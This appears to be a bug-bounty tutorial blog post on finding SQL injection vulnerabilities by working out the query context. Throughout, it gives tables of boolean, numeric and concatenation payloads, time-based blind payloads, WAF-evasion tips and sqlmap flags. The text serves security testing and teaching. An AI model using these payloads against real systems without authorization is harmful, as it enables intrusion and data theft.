Photo by Austin Chan on Unsplash
How to Discover SQL Injections
A comprehensive writeup emphasizing the importance of context
The process of finding SQL injection vulnerabilities involves identifying user data entry, tampering with the data sent to the application, and identifying changes in the results returned by the server. You have to keep in mind that tampering with the parameters can generate an error that could have nothing to do with SQL injection.
I've been hunting for that elusive SQL injection for quite some time now. It suddenly dawned on me, "perhaps I'm missing something?" That something is Context. By context I mean to know in which SQL context your input can end up.
To Quote "Troubleshooting SQL Injection Attacks:" "Most of the art of understanding and exploiting SQL injection vulnerabilities consists of the ability to mentally re-create what the developer coded in the Web application, and envision how the remote SQL code looks. If you can imagine what is being executed at the server side, it will seem obvious to you where to terminate and start the single quotes"
SQL injections occur in unique contexts; you might be injecting after a WHERE
or LIKE
or ORDER BY
and each context requires a different kind of injection. This is even before various sanitization steps are applied.
Imagine the following scenario:
A parameter called "region" is controlled by the user. Let's assume the user-controlled input isn't handled properly and ends up directly inside an SQL query. Now without context, we may try injecting a ' and see how the server responds. region=US
Meantime here's the SQL query:
SELECT * FROM national_parks ORDER BY <user input>;
The ' will break the query and the goose chase begins:
SELECT * FROM national_parks ORDER BY ';
SELECT * FROM national_parks ORDER BY '';
SELECT * FROM national_parks ORDER BY '-- -;
SELECT * FROM national_parks ORDER BY ' or 1=1-- -;
SELECT * FROM national_parks ORDER BY ' or 1=2-- -;
SELECT * FROM national_parks ORDER BY 1 or 1=1-- -;
etc...
In other words; all the basic payloads to detect a boolean true or false will return an error because in context they don't make sense within the query.
It is for this reason as well, that 'spray and pray' approach doesn't work very well. To quote Arne Swinnen
"Before you can exploit an SQL injection vulnerability in an automated fashion, you must detect it first. Detecting new injection vulnerabilities with the aforementioned automated tools is not the best option, because of a couple of reasons. Usually, these tools take a lot of time, simply because of the fact they will enumerate a significant number of payloads by default.... Finally, when you have a web application that utilizes something out of the ordinary such as a custom CSRF mitigation implementation or an exotic authentication method, these tools usually will not be able to reach all potential injection points."
Some Tips To Determine Context:
1) Is the parameter an integer (numeric) or a String (letters)? - usually, numeric input won't be enclosed between quotes and therefore you won't need to balance the quotes. 9 or 1=1-- -
As opposed to Strings which need to be enclosed. david' or 'word'='word-- -
.
Its critical to understand that the grasp of the context will determine the success of the injection. Below are a couple of charts that emphasize the importance, as well as show in a clear manner, the way to determine context.
String
Testing String | Variations | Expected Result |
' | Error triggering. If successful the database will return an error | |
1' or '1'='1 | 1') or ('1'='1 | Always True condition. If successful, it returns every row in the table |
value' or '1'='2 | value') or ('1'='2 | No condition. If successful, it returns the same result as the original value |
1' and '1'='2 | 1') and ()'1'='2 | Always false condition. If successful will return no rows in the table |
1' or 'ab'='a'+'b | 1') or ()'ab'='a'+'b | MSSQL Server concatenation. If successful, it returns the same information as an always true condition. |
1' or 'ab'='a''b | 1') or ('ab'='a''b | MySQL concatenation. If successful, it returns the same information as an always true condition. |
1' or 'ab'='a' | 'b |
Numeric
Testing String | Variations | Expected Results |
' | Error triggering.If successful the database will return an error | |
1+1 | 3-1 | If successful, it returns the same value as the result of the operation. |
value + 0 | If successful, it returns the same value as the original request | |
value or 1=2 | value) or (1=2 | Always true condition. If successful, it returns every row in the table |
1 and 1=2 | 1) and (1=2 | No Condition. If successful, it returns the same result as the original value |
1 or 'ab'= 'a'+'b' | 1) or ('ab'= 'a'+'b' | MSSQL Server concatenation. If successful, it returns the same information as an always true condition. |
1 or 'ab'='a' 'b' | 1) or ('ab'='a' 'b' | MySQL concatenation. If successful, it returns the same information as an always true condition. |
1 or 'ab'='a' | 'b' |
2) Think like a developer. Perhaps spend a day or two practicing SQL to sharpen and hone your SQL sense. This will allow you to better evaluate what the backend query looks like. https://sqlzoo.net/wiki/SQL_Tutorial
3) Look for SQL errors disclosing server unique messages. If you are using BurpSuite, perhaps use an extension such as https://github.com/portswigger/error-message-checks
What You Are Looking For:
HTTP Code Errors When you are manipulating the parameters sent to the server and you get an HTTP 500 or HTTP 302 response, that’s a good sign. It means that somehow you interfered with the normal behavior of the application.
Different Response Sizes Sometimes there will be a subtle difference in the size of the response returned by the server. This can potentially indicate a blind boolean sql injection. Perhaps true will have a size of 7450 and false will be 7433.
Detection List 1:
'
"
`
')
")
`)
'))
"))
`))
%BF
%ff
%00
"><
id[]=1
*
Sometimes using special characters can throw errors as well:
https://qaz.wtf/u/convert.cgi?text=a
🅐
𝟏
Detection List 2: Based On This Article
1;
2-1;
1+'';
SELECT FirstName FROM Users WHERE ID = 1;
SELECT FirstName FROM Users WHERE ID = 2-1;
SELECT FirstName FROM Users WHERE ID = 1+'';
This approach is similar to string concatenation mentioned above. The benefit of using the second detection approach, as described in the linked article, is the reality that verbose error messages are rare to come by and WAFs are a common defense in place during testing. The simple task of using innocent SQL statements that are written differently but theoretically should return the same output if the input it truly being processed as a direct query.
What Are You Looking For: Part 2
If we can not perceive a difference in the response between true and false input, how can we proceed? We can use the time factor for our Boolean True or False. Is database first letter s? If True sleep(x) if False no sleep. Remember we will only be able to execute the injection inside the query if the context is properly escaped.
MYSQL Syntax - select if(condition, value if true,value if false )
select if((select database())="security", sleep(10),null);
MSSQL Syntax - 1'; waitfor delay '0:0:9' -
Try To Identify The DataBase
The ability to identify the remote database is paramount to successfully progressing an attack and moving on from identification of the vulnerability to further exploitation
Take this great article as an example: https://h3k.ro/2022/07/11/bsqli/. In this story, @0xtavi describes having assumed early on that the backend database was Oracle. This led to a dead-end. Only after revisiting the bug months later and testing with mssql syntax was he able to exploit the injection.
If we find a parameter in a Web application that is vulnerable but we are unsure of the remote database server, we can use string concatenation techniques for identification. Remote database identification can be done by replacing any vulnerable string parameter with concatenation in the following manner:
victim-com/displayuser.aspx?User=Bob -- Original request
victim-com/displayuser.aspx?User=B'+'ob -- MSSQL server
victim-com/displayuser.aspx?User=B''ob -- MySQL server
victim-com/displayuser.aspx?User=B'||'ob -- Oracle
Where To Test:
GET and POST parameters
Headers:
Accept-Language
Host
referer
User-Agent
Auth Forms
REST paths /api/users/:id
Cookies
Some Testing Tips
Detect something Off.
Check for application errors that disclose more (hidden) parameters
BruteForce Hidden Params - ParamMiner
Found a custom Header? Chances are it's being processed by the backend. Try to inject there as well.
Use waybackurls in combination with GF sqli to filter down SQL injection parameters.
Use the HUNT Scanner from the bApp store.
Find the real IP of the website - https://viewdns.info/iphistory/
If you're using SQLmap, don't just run it blindly on your target. Take the time to customize your options and fine-tune your queries for better results. Try using the '--random-agent' and '--level' flags, and use the '--technique' flag to specify injection techniques
Tools
Writeups
https://hackerone.com/reports/531051
"it appeared that the apostrophe
'
was being properly escaped. After a bit of testing, I realized my mistake: the XML format prohibits some characters, including the apostrophe. To include them, you have to enter apostrophes as escaped entities. Instead of<MainAccount>123456'</MainAccount>
, I had to use<MainAccount>123456'</MainAccount>
. The server immediately returned adatabase error
message -sqlmap
with the--tamper htmlencode
flag"https://medium.com/@basudev_18233/exploiting-sql-injection-at-authorization-token-8764a0dcac1a
"Base64 encoded payloads inside the 'Authorization:' Header.
Authorization: Basic MScgVW5pb24gU2VsZWN0IDEtLSAtOjEnIFVuaW9uIFNlbGVjdCAxLS0gLQ==
"https://medium.com/@tomnomnom/making-a-blind-sql-injection-a-little-less-blind-428dcb614ba8
"TomNomNom iterates through a blind sql injection manually. WAF bypass via json \uXXX escape sequences. To qoute 'because the payload is JSON, I could easily obfuscate it to get around the WAF by using
\uXXXX
escape sequences'"https://gerbenjavado.com/manual-sql-injection-discovery-tips/
"This blog will focus on sharing my process and knowledge as well as showing real world examples"
https://dimazarno.medium.com/bypassing-email-filter-which-leads-to-sql-injection-e57bcbfc6b17
"Blind SQLi on email value"
https://systemweakness.com/sql-injection-to-remote-command-execution-rce-dd9a75292d1d
* = 500 Error
payload = ;WAITFOR%20DELAY%20'0:0:10'--